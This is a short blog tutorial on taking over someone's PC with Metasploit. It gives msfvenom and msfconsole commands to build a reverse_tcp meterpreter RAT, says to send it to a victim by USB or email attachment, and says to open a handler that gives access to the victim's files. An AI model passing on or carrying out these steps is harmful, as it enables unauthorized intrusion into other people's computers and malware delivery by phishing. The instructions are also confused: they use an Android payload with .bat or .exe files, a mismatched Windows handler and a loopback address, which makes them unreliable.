Hello hackers I am back with some fresh hacking tutorials. Today we are gonna learn how to hack a pc using metasploit. So here we go.
STEP 1: Fire up Kali Linux and open its terminal.
STEP 2: Create a RAT file. Type as I do using this pattern.
msfvenom -p (payload) LHOST=(your ip address) LPORT=(vulnerable port) > (filename).bat
[Don't put brackets]
Here you can give any payloads if you are beginner than use this payload
In the picture,
android/meterpreter/reverse_tcp = payload
127.0.0.1 = ip address
4000 = Port
test =file name [the extension must be bat or exe. Don't put extension apk ]
STEP 3 : Send the file to your victim using USB , internet is the best way. You can also send it using email attachment (mostly used method).
STEP 4: Open metasploit console by typing msfconsole in the terminal.
STEP 5 : After opening metasploit framework. Type use multi/handler.
STEP 6 :Configure it in the same way as the RAT file.
TYPE THE FOLLOWINGS:
1. set payload windows/meterpreter/reverse_tcp
2. set LHOST (your ip address) [DONT USE BRACKET]
3.set LPORT 4000 [YOU CAN USE ANY VULNERABLE PORT AS YOU LIKE]
4. Now its time to exploit Type exploit and press enter.
5.Now when the victim will open your RAT file meterpreter session will be open and you will be able to play with victim files. To learn more commands for using victim pc type help .
That's the way you a persons PC using metaspolit. Thanks for the view. Comment your queries below. For more please follow my blog.
No comments:
Post a Comment